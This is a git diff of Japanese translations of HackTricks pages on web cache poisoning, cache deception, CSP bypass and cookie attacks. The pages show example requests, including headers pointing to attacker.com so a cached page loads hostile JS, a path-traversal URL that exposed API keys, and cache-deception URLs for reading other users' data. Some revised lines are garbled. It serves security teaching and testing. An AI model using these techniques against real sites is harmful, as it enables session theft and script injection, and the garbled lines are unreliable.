-パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますか（XSSを実行するか、あなたが制御するJSコードを読み込むか？ DoSを実行するか？...） +パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますか（XSSを実行する、またはあなたが制御するJSコードを読み込む？ DoSを実行する？...） ### 応答をキャッシュさせる -悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、およびそれを**悪用する方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 +悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**悪用方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\ ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800` -もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。 +もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**にしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。 キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。 -リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 +リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 ## 悪用の例 @@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md ### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング -[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものはすべてキャッシュされ、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化しなかったためです。 +[**このレポートは**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものはすべてキャッシュされ、CloudflareがURLを正規化することはなく、リクエストがウェブサーバーに到達したときに行われました。 これは以下でもより詳しく説明されています： @@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md ### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する -時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。 +時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように: +URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -138,17 +138,17 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### パラメータクロッキング -例えば、**パラメータ**を**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ、悪用することができます。 +例えば、**パラメータ**を**`&`**の代わりに**`;`**文字を使用してrubyサーバーで分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ、悪用することができます。 Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用 +### HTTPキャッシュポイズニングをHTTPリクエストスマグリングを悪用して攻撃する -[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)の実施方法について学びましょう。 +[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)の実施方法についてここで学びます。 ### Web Cache Poisoningの自動テスト -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングの自動テストを行うことができます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 使用例: `wcvs -u example.com` @@ -172,15 +172,15 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利 ### 403とストレージバケット -Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。 +Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。 ### キー付きパラメータの注入 -キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例:`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 +キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例:`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 ### ユーザーエージェントルール -一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 +一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 ### 不正なヘッダーフィールド @@ -192,9 +192,9 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 ## キャッシュデセプション -キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。 +キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報で読み込ませる**ことです。 -まず、**拡張子**（例：`.css`、`.js`、`.png`など）が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**ユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。 +まず、**拡張子**（例：`.css`、`.js`、`.png`など）が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_swww.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。 他にテストすること: @@ -203,15 +203,15 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _あまり知られていない拡張子（例：_`.avif`_）を使用する_ +- _あまり知られていない拡張子を使用する（例：`.avif`）_ 非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ -この例では、存在しないページ（例：_http://www.example.com/home.php/non-existent.css_）を読み込むと、_http://www.example.com/home.php_（**ユーザーの機密情報を含む**）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ -その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。 +この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_（**ユーザーの機密情報を含む**）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ +その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察することができます。 -**キャッシュプロキシ**は、ファイルの**拡張子**（_.css_）に基づいてファイルを**キャッシュ**するように**設定されるべき**であり、コンテンツタイプに基づいてはなりません。例として、_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 +**キャッシュプロキシ**は、ファイルの**拡張子**（_.css_）に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 -[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)の実施方法について学びましょう。 +[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)の実施方法についてここで学びます。 ## 自動ツール diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 1c7be0a83..ad9367caf 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して**ウェブサーバーがエラーで応答する**ように試みるさまざまなバリエーションを見つけることができます。 +> このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して、**ウェブサーバーがエラーで応答する**ようにするためのさまざまなバリエーションを見つけることができます。 - **HTTP Header Oversize (HHO)** @@ -23,7 +23,7 @@ X-Meta-Hedear:Bad Chars\n \r ``` 不適切に構成されたヘッダーは、単に `\:` というヘッダーである可能性があります。 -予期しない値が送信される場合、例えば予期しない Content-Type: の場合もこれが機能する可能性があります。 +予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。 ``` GET /anas/repos HTTP/2 Host: redacted.com @@ -105,7 +105,7 @@ Not Found ``` - **Fat Get** -一部のキャッシュサーバー（Cloudflareなど）やウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります。 +一部のキャッシュサーバー、例えばCloudflareやウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります。 ``` GET /index.html HTTP/2 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 7b66aa832..28a266ec8 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -これは、キャッシュポイズニング攻撃を実行するために提案された技術の概要です **キャッシュプロキシとウェブサーバー間の不一致を悪用することによって。** +これは、キャッシュプロキシとウェブサーバー間の不一致を悪用してキャッシュポイズニング攻撃を実行するために提案された技術の概要です **キャッシュポイズニング攻撃を実行するための技術の概要です。** > [!NOTE] -> この攻撃の目的は、**キャッシュサーバーに静的リソースが読み込まれていると認識させること**です。これにより、キャッシュサーバーはパスの一部をキャッシュキーとして保存しながらキャッシュしますが、ウェブサーバーは別のパスを解決して応答します。ウェブサーバーは、ユーザーに関する機密情報や、XSSのような悪意のあるペイロード、または攻撃者のウェブサイトからJSファイルを読み込むためのリダイレクトを含む動的ページを読み込む実際のパスを解決します。 +> この攻撃の目的は、**キャッシュサーバーに静的リソースが読み込まれていると誤認させること**です。これにより、キャッシュサーバーはパスの一部をキャッシュキーとして保存しながらキャッシュしますが、ウェブサーバーは別のパスを解決して応答します。ウェブサーバーは、ユーザーに関する機密情報や、XSSのような悪意のあるペイロード、または攻撃者のウェブサイトからJSファイルを読み込むためのリダイレクトを含む動的ページを読み込む実際のパスを解決します。 ## デリミタ -**URLデリミタ**はフレームワークやサーバーによって異なり、リクエストのルーティングやレスポンスの処理に影響を与えます。一般的なオリジンデリミタには以下があります： +**URLデリミタ**はフレームワークやサーバーによって異なり、リクエストのルーティングや応答の処理に影響を与えます。一般的なオリジンデリミタには以下があります： - **セミコロン**: Springでマトリックス変数に使用されます（例: `/hello;var=a/world;var1=b;var2=c` → `/hello/world`）。 -- **ドット**: Ruby on Railsでレスポンス形式を指定します（例: `/MyAccount.css` → `/MyAccount`）。 +- **ドット**: Ruby on Railsで応答形式を指定します（例: `/MyAccount.css` → `/MyAccount`）。 - **ヌルバイト**: OpenLiteSpeedでパスを切り詰めます（例: `/MyAccount%00aaa` → `/MyAccount`）。 - **ニューラインバイト**: NginxでURLコンポーネントを分離します（例: `/users/MyAccount%0aaaa` → `/account/MyAccount`）。 このプロセスに従って他の特定のデリミタが見つかるかもしれません： -- **ステップ1**: キャッシュ不可のリクエストを特定し、それを使用して潜在的なデリミタを持つURLがどのように処理されるかを監視します。 +- **ステップ1**: キャッシュ不可のリクエストを特定し、それを使用して潜在的なデリミタを含むURLがどのように処理されるかを監視します。 - **ステップ2**: パスにランダムなサフィックスを追加し、サーバーの応答を比較して、文字がデリミタとして機能するかどうかを判断します。 - **ステップ3**: ランダムなサフィックスの前に潜在的なデリミタを導入し、応答が変わるかどうかを確認して、デリミタの使用を示します。 @@ -47,6 +47,6 @@ - **よく知られた静的ディレクトリ**: 以下のディレクトリには静的ファイルが含まれているため、その応答はキャッシュされるべきです: /static, /assets, /wp-content, /media, /templates, /public, /shared - デリミタ、静的ディレクトリ、ドットを使用して動的応答をキャッシュに強制することが可能で、例えば `/home/..%2fstatic/something` は `/static/something` をキャッシュし、応答は `/home` になります。 - **静的ディレクトリ + ドット**: `/static/..%2Fhome` へのリクエストや `/static/..%5Chome` へのリクエストはそのままキャッシュされるかもしれませんが、応答は `/home` かもしれません。 -- **静的ファイル**: `/robots.txt`、`/favicon.ico`、および `/index.html` のような特定のファイルは常にキャッシュされます。これは `/home/..%2Frobots.txt` のように悪用される可能性があり、キャッシュは `/robots.txt` を保存し、オリジンサーバーは `/home` に応答します。 +- **静的ファイル**: `/robots.txt`、`/favicon.ico`、および `/index.html` のような特定のファイルは常にキャッシュされます。これらは `/home/..%2Frobots.txt` のように悪用される可能性があり、キャッシュは `/robots.txt` を保存し、オリジンサーバーは `/home` に応答します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 5dce39498..58e03a9d4 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSPはこれらのヘッダーを使用して強制または監視できます： - `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。 -- `Content-Security-Policy-Report-Only`: 監視に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。 +- `Content-Security-Policy-Report-Only`: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。 ### リソースの定義 @@ -37,7 +37,7 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### ディレクティブ +### 指令 - **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。 - **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。 @@ -52,10 +52,10 @@ object-src 'none'; - **object-src**: ``、``、および``要素のために許可されたソースを定義します。 - **base-uri**: ``要素を使用して読み込むための許可されたURLを指定します。 - **form-action**: フォーム送信のための有効なエンドポイントをリストします。 -- **plugin-types**: ページが呼び出すことができるmimeタイプを制限します。 +- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。 - **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。 - **sandbox**: ` | NotSet\*, None | | AJAX | $.get("...") | NotSet\*, None | -| Image | \ | NetSet\*, None | +| 画像 | \ | NetSet\*, None | -Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ -_**SameSite**_属性を持つCookieは、**CSRF攻撃を軽減**します。 +表は [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からのもので、若干修正されています。\ +_**SameSite**_ 属性を持つクッキーは、**CSRF攻撃を軽減**します。 -**\*Chrome80（2019年2月）以降、CookieにSameSite属性がない場合のデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -この変更を適用した後、一時的にChromeでは**SameSiteポリシーのないCookie**は**最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。** +**\*Chrome80（2019年2月）以降、SameSite 属性を持たないクッキーのデフォルトの動作は Lax になります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ +この変更を適用した後、一時的に、Chrome の **SameSite ポリシーを持たないクッキーは最初の2分間は None として扱われ、その後はトップレベルのクロスサイト POST リクエストに対して Lax として扱われます。** -## Cookies Flags +## クッキーのフラグ ### HttpOnly -これにより、**クライアント**がCookieにアクセスするのを防ぎます（例えば、**Javascript**経由で：`document.cookie`）。 +これにより、**クライアント**がクッキーにアクセスするのを防ぎます（例えば、**Javascript** を介して：`document.cookie`）。 -#### **Bypasses** +#### **バイパス** -- ページがリクエストのレスポンスとしてCookieを**送信している**場合（例えば、**PHPinfo**ページで）、XSSを悪用してこのページにリクエストを送り、レスポンスから**Cookieを盗む**ことが可能です（例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照）。 -- **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたCookieを反映します。この技術は**Cross-Site Tracking**と呼ばれます。 -- この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。 -- もう一つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。 -- Cookie Jarオーバーフロー攻撃を実行することで、**HttpOnly Cookieを上書きする**ことが可能です： +- ページがリクエストのレスポンスとしてクッキーを**送信している**場合（例えば、**PHPinfo** ページで）、XSS を悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です（例は [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) を参照）。 +- **TRACE** **HTTP** リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたクッキーを反映します。この技術は **Cross-Site Tracking** と呼ばれます。 +- この技術は、**モダンブラウザが JS から TRACE リクエストを送信することを許可しないことによって回避されます**。ただし、特定のソフトウェアでは、`TRACE` の代わりに `\r\nTRACE` を送信することでバイパスが見つかっています。 +- 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。 +- クッキージャーオーバーフロー攻撃を実行することで、**HttpOnly クッキーを上書きする**ことが可能です： {{#ref}} cookie-jar-overflow.md {{#endref}} -- これらのCookieを外部に持ち出すために[**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用することが可能です。 +- これらのクッキーを外部に持ち出すために [**Cookie Smuggling**](./#cookie-smuggling) 攻撃を使用することが可能です。 ### Secure -リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでCookieを**送信します**。 +リクエストは、**HTTPS** などの安全なチャネルを介して送信される場合にのみ、HTTP リクエストでクッキーを**送信します**。 -## Cookies Prefixes +## クッキーのプレフィックス -`__Secure-`で始まるCookieは、HTTPSで保護されたページから`secure`フラグとともに設定される必要があります。 +`__Secure-` で始まるクッキーは、HTTPS によって保護されたページから `secure` フラグとともに設定される必要があります。 -`__Host-`で始まるCookieには、いくつかの条件が満たされなければなりません： +`__Host-` で始まるクッキーには、いくつかの条件が満たされなければなりません： -- `secure`フラグで設定されなければなりません。 -- HTTPSで保護されたページから発信されなければなりません。 +- `secure` フラグで設定されなければなりません。 +- HTTPS によって保護されたページから発信されなければなりません。 - ドメインを指定することは禁じられており、サブドメインへの送信を防ぎます。 -- これらのCookieのパスは`/`に設定されなければなりません。 +- これらのクッキーのパスは `/` に設定されなければなりません。 -`__Host-`で始まるCookieは、スーパードメインやサブドメインに送信されることは許可されていないことに注意することが重要です。この制限は、アプリケーションCookieを隔離するのに役立ちます。したがって、すべてのアプリケーションCookieに`__Host-`プレフィックスを使用することは、セキュリティと隔離を強化するための良いプラクティスと見なされます。 +`__Host-` で始まるクッキーは、スーパードメインやサブドメインに送信されることは許可されていないことに注意することが重要です。この制限は、アプリケーションクッキーを隔離するのに役立ちます。したがって、すべてのアプリケーションクッキーに `__Host-` プレフィックスを使用することは、セキュリティと隔離を強化するための良いプラクティスと見なされます。 -### Overwriting cookies +### クッキーの上書き -したがって、`__Host-`プレフィックスのCookieの保護の一つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから\_\_HOST-プレフィックスのCookieを設定することが可能であることが示されています。たとえば、最初や最後に"="を追加することなどです： +したがって、`__Host-` プレフィックスのクッキーの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md) を防ぎます。トークで [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**論文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) では、パーサーを騙すことでサブドメインから __HOST- プレフィックスのクッキーを設定することが可能であることが示されています。たとえば、最初や最後に "=" を追加することです：
-また、PHPでは、Cookie名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-` Cookieを上書きすることが可能でした： +また、PHP では、クッキー名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-` クッキーを上書きすることが可能でした：
-## Cookies Attacks +## クッキー攻撃 -カスタムCookieに機密データが含まれている場合は、確認してください（特にCTFをプレイしている場合）、脆弱性があるかもしれません。 +カスタムクッキーに機密データが含まれている場合は、確認してください（特に CTF をプレイしている場合）、脆弱性があるかもしれません。 -### Decoding and Manipulating Cookies +### クッキーのデコードと操作 -Cookieに埋め込まれた機密データは常に精査されるべきです。Base64や類似の形式でエンコードされたCookieは、しばしばデコード可能です。この脆弱性により、攻撃者はCookieの内容を変更し、修正されたデータを再度Cookieにエンコードすることで他のユーザーを偽装することができます。 +クッキーに埋め込まれた機密データは常に精査されるべきです。Base64 や類似の形式でエンコードされたクッキーは、しばしばデコード可能です。この脆弱性により、攻撃者はクッキーの内容を変更し、修正されたデータを再度クッキーにエンコードすることで他のユーザーを偽装することができます。 -### Session Hijacking +### セッションハイジャック -この攻撃は、ユーザーのCookieを盗んで、アプリケーション内でのそのアカウントへの不正アクセスを得ることを含みます。盗まれたCookieを使用することで、攻撃者は正当なユーザーを偽装できます。 +この攻撃は、ユーザーのクッキーを盗んで、アプリケーション内のアカウントに不正にアクセスすることを含みます。盗まれたクッキーを使用することで、攻撃者は正当なユーザーを偽装できます。 -### Session Fixation +### セッション固定 -このシナリオでは、攻撃者が被害者を特定のCookieを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいCookieを割り当てない場合、攻撃者は元のCookieを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したCookieでログインすることに依存しています。 +このシナリオでは、攻撃者が被害者を特定のクッキーを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいクッキーを割り当てない場合、攻撃者は元のクッキーを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したクッキーでログインすることに依存しています。 -**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください： +**サブドメインに XSS を見つけた場合**や**サブドメインを制御している場合**は、次をお読みください： {{#ref}} cookie-tossing.md {{#endref}} -### Session Donation +### セッション寄付 -ここでは、攻撃者が被害者に攻撃者のセッションCookieを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。 +ここでは、攻撃者が被害者に攻撃者のセッションクッキーを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。 -**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください： +**サブドメインに XSS を見つけた場合**や**サブドメインを制御している場合**は、次をお読みください： {{#ref}} cookie-tossing.md {{#endref}} -### [JWT Cookies](../hacking-jwt-json-web-tokens.md) +### [JWT クッキー](../hacking-jwt-json-web-tokens.md) -前のリンクをクリックして、JWTの可能な欠陥を説明するページにアクセスしてください。 +前のリンクをクリックして、JWT の可能な欠陥を説明するページにアクセスしてください。 -Cookieで使用されるJSON Web Tokens（JWT）も脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTのハッキングに関するリンクされた文書にアクセスすることをお勧めします。 +クッキーで使用される JSON Web Tokens (JWT) も脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWT のハッキングに関するリンクされた文書にアクセスすることをお勧めします。 -### Cross-Site Request Forgery (CSRF) +### クロスサイトリクエストフォージェリ (CSRF) -この攻撃は、ログイン中のユーザーに対して、現在認証されているWebアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるCookieを悪用できます。 